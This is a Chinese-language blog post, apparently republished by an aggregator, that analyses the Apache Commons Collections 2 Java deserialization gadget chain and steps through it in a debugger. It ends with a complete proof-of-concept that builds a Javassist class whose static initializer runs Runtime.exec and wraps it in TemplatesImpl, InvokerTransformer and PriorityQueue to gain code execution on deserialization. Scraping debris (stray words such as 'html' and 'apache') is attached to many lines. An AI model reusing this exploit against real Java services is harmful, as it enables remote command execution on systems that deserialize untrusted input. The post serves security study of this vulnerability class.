Commons Collections2分析

0x0一、POC分析

//建立一個CtClass對象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路徑
classPool.appendClassPath(AbstractTranslet);
//建立一個新的public類
CtClass payload=classPool.makeClass("CC2");
//讓上面建立的類繼承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");

首先是經過getDefault建立一個CtClass對象的容器,而後appendClassPath()來添加添加AbstractTranslet的搜索路徑;html

而後建立一個public修飾的類,類名爲CommonsCollection2;經過setSuperclass來設置父類;咱們在想一想看get()方法是幹嗎的?經過該文章javassist使用,能夠知道是查找AbstractTransletjava

此處總結就是:設置父類爲AbstractTransletapache

而後建立一個靜態代碼塊,靜態代碼塊中設置內容爲:api

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射建立TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射獲取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); 

///將templatesImpl上的_bytecodes字段設置爲runtime的byte數組
field.set(templatesImpl,new byte[][]{bytes});

//反射獲取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);  

//將templatesImpl上的_name字段設置爲test
field1.set(templatesImpl,"test");

而後經過反射建立,經過實例化調用了構造無參構造,而後newInstance()來實例化對象,經過反射獲取private修飾的_bytecodes屬性;獲取私有的時候須要使用暴力反射;數組

而後將反射獲取的_bytecodes變量賦值爲bytes變量app

bytespayload.toBytecode(),而payload是CommonsCollections2類的內容;將templatesImpl上的_bytecodes字段設置爲CC2類的的byte數組;函數

而後再經過反射獲取到private修飾的_name變量,最後經過反射設置該變量的值爲testthis

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
														new Class[]{},
														new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

而咱們經過cc1知道,InvokerTransformer第⼀個參數是待執⾏的⽅法名第⼆個參數是這個函數的參數列表的參數類型第三個參數是傳給這個函數的參數列表接着獲取了 InvokerTransformer 實例對象.debug

因此這邊是去調用了newTransformer這個方法,後面再細講;而後TransformingComparatorcompare方法會去調用傳入參數的transform方法。3d

第四部分

//使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

構造參數有三種,而後咱們這是第二種,自定義容量大小;而後將指定的元素插入此優先級隊列,默認是升序排列;

此處是實驗代碼~~~,因爲本人懶,就不單獨寫,直接修改一下下;

而後經過反射,去獲取comparator變量,而且最後在comparator變量設置值爲comparator

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最後步驟同樣,設置queue變量爲Object數組,內容爲templatesImpl;最後就是輸出序列化流

那爲何要添加兩個呢?這個稍後調試的時候講解

0x0二、poc調試

這裏我先說明一下,由於我昨天去和朋友happy,和初中同窗聚了一下還看了唐探3,給忘記了我寫了啥東西;因此poc分析就按照以前的廢稿寫進;而後這邊poc我是摘抄自nice一位師傅的;其次就是這邊調試我會按照個人思路講; 接下來就進入正文了

這裏不知道上文分析的邏輯,也不想讀,就從新理解過程;這邊咱們看看yso的利用鏈,這邊入口點是PriorityQueue.readObject();知道了路口點,那咱們能夠進去查找下這個readObject()方法。

斷點下好後咱們就能夠開始debug了,由於前面部分都不是重點。

這邊有幾個步驟,首先是調用默認的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的文件進行 反序列化去讀取數據;而後調用 ObjectInputStream.readInt() 方法讀取優先級隊列的長度。

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);

此處繼續檢查集合的容量和類型,而後循環讀取數組 queue 的內容這裏與 PriorityQueue.writeObject() 方法對應 . 讀取 queue 數組的內容

最後進入heapify()方法中,咱們f7繼續跟進去看看

進去以後咱們發現是調用了siftDown()方法;那這for判斷的是啥?

這時候就涉及到了exp中爲什麼要添加兩個值到容器中

那麼咱們看看for是怎麼判斷的?

經過此處,size知道爲2,通過計算後爲0,判斷i大於等於0的時候,執行代碼的內容爲0,知足這條件;那咱們沒法判斷是不是此處的問題,咱們能夠修改exp試試

queue.add(1);
queue.add(1);

咱們先將此處註釋掉一個

最後咱們在debug到那一步去看看size的值是多少

這時候能夠發現是size的值是1;若是還有什麼疑惑的話,沒事,下面咱們會分析如何構造出這份exp;

那麼咱們迴歸正文,咱們繼續F7進入siftDown()方法看看

這個方法能夠看到有兩個參數,第一個是整數類型的,也就是數字;第二個X是什麼?

X是:queue[i] = queue[0] = TemplatesImpl對象

而後再判斷comparator值不爲空的時候爲true;然而這個comparatorTransformingComparator類型的值,因此進入這個siftDownUsingComparator

咱們繼續f7跟進siftDownUsingComparator方法裏面

而後一直f8到了此處,具體上面的我就不細講了。這邊調用了compare

注意:comparatorTransformingComparator類型的值,因此能夠知道調用的是TransformingComparator類裏面的compare()方法噢

因此咱們f7進去,查看是否是跟咱們的想法一致(讀者:這不屁話嗎,不一致就大結局了)

注意個問題,這邊兩個參數的內容都是TemplatesImpl的實例化對象。那this.transformer呢?

此處是InvokerTransformer類型的值,因此這邊調用的是InvokerTransformer裏的transform()方法;這就有點相似CC1裏面的了,繞到此處,使用反射進行rce;

image-20210213193527615

可是,這裏咱們就要細節了,注意看上圖中的時時變量,

因此咱們跟進去看看所謂的細節~~,既然調用了newTransformer方法,咱們就進去看看這個方法。那這是哪一個類的呢?

這裏類型是這個,也就是exp構造的類型,因此這個方法屬於這個類中的

TemplatesImpl.newTransformer() 方法主要用於獲取 TemplatesImpl 實例對象 , 後面可使用此實例處理來自不一樣源的XML文檔 , 並對其進行轉換等操做。其中會調用getTransletInstance方法。前面但是沒有條件判斷,意思就是必進的點

進入了getTransletInstance()方法中

方法用於生成 translet 實例對象 . 這個實例對象隨後會被封裝在 Transformer 實例對象中。

爲何構造 Payload 時 _name 字段不填充會利用失敗 ?

實際上是由於 getTransletInstance() 方法會對 TemplatesImpl 對象的 _name 字段有一步判斷 , 若是該屬性值爲 null , 則直接返回 null;不爲空的時候,才能進入下面的條件分支

接着代碼會判斷 _class 字段值是否爲空 , 若是爲空就會調用 defineTransletClasses() 方法 . 這裏 _class 字段爲空 , 所以咱們跟進該方法。

該方法會對 _bytecodes 字段進行解析 , 核心代碼以下:

代碼會經過 loader.defineClass() 方法將字節碼數組轉換成類的實例 。

而惟一的條件就是該類的父類爲 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

而後一直到最後,defineTransletClasses()執行完後會跳回剛剛的地方

因爲變量 _transletIndex 的值爲 " 0 " , 所以 _class[_transletIndex] 實際上就是咱們經過 JAVAssist 構造的惡意類 。

如今會對惡意類調用 newInstance() 方法 , 類會先被加載後再被實例化 .

類在加載時會調用靜態代碼塊中的內容 . 所以服務端最終會進入 java.lang.Runtime.getRuntime().exec() 反射鏈 , 執行系統命令。

0x0三、完整POC

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class exp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CC2");
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 

        byte[] bytes=payload.toBytecode();//轉換爲byte數組

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

0x0四、總結

可能有部分很差,由於分析一半出去玩,而後一回來寫,進入狀態有點不佳,可是應該很詳細了;而CC2鏈涉及到了兩個知識點: JAVAssist 與 PriorityQueu;因此學下這兩個知識點就差很少了

參考文章:

http://www.javashuo.com/article/p-wsuoldub-nx.html

http://www.javashuo.com/article/p-biscycsg-ve.html

http://www.javashuo.com/article/p-savfhnnb-ve.html

http://www.javashuo.com/article/p-tvgbnnyq-ve.html

相關文章
相關標籤/搜索